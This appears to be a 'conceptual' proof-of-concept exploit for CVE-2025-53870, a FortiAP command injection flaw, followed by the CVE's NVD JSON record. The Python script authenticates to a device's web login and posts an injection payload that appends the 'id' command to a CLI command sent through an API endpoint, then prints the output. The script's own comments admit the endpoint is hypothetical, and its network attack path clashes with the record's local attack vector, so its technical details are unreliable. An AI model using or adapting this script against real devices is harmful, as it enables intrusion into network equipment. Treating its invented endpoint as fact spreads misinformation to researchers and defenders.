CVE-2025-53870

# This is a conceptual PoC for OS Command Injection in FortiAP CLI. # The attacker needs High Privileges (Admin) to execute the CLI command. import requests import urllib3 # Disable SSL warnings for testing purposes urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) def exploit(target_ip, username, password): session = requests.Session() login_url = f"https://{target_ip}/logincheck" # Step 1: Authenticate to the device (High Privileges Required) login_data = { 'username': username, 'secretkey': password } try: print(f"[*] Attempting to login to {target_ip}...") response = session.post(login_url, data=login_data, verify=False, timeout=10) if response.status_code != 200 or 'cookie' not in response.cookies: print("[-] Login failed.") return print("[+] Login successful.") # Step 2: Send crafted CLI command with injection payload # Example payload: executing 'id' command via injection # Note: The specific vulnerable endpoint is hypothetical based on the CVE description. exploit_url = f"https://{target_ip}/api/v2/monitor/system/cli" # The payload attempts to inject a command. # In a real scenario, the attacker identifies the specific vulnerable command. payload = "execute some-vulnerable-cmd; id #" headers = { 'Content-Type': 'application/json' } # Constructing the payload data structure typical for FortiOS API payload_data = { "command": payload } print(f"[*] Sending payload: {payload}") exploit_response = session.post(exploit_url, json=payload_data, headers=headers, verify=False, timeout=10) if exploit_response.status_code == 200: print("[+] Payload sent successfully.") print("[+] Response:") print(exploit_response.text) else: print(f"[-] Exploit request failed with status code: {exploit_response.status_code}") except Exception as e: print(f"[-] An error occurred: {str(e)}") if __name__ == "__main__": # Replace with actual target details target = "192.168.1.1" user = "admin" pwd = "password" exploit(target, user, pwd)

{"cve": {"id": "CVE-2025-53870", "sourceIdentifier": "[email protected]", "published": "2026-05-12T18:16:36.140", "lastModified": "2026-05-12T18:57:02.307", "vulnStatus": "Undergoing Analysis", "cveTags": [], "descriptions": [{"lang": "en", "value": "An improper neutralization of special elements used in an os command ('os command injection') vulnerability in Fortinet FortiAP 7.6.0 through 7.6.2, FortiAP 7.4.0 through 7.4.5, FortiAP 7.2 all versions, FortiAP 7.0 all versions, FortiAP 6.4 all versions, FortiAP-W2 7.4.0 through 7.4.4, FortiAP-W2 7.2 all versions, FortiAP-W2 7.0 all versions may allow an authenticated attacker to execute unauthorized code or commands via a specifically crafted cli command."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H", "baseScore": 6.7, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-78"}]}], "references": [{"url": "https://fortiguard.fortinet.com/psirt/FG-IR-26-133", "source": "[email protected]"}]}}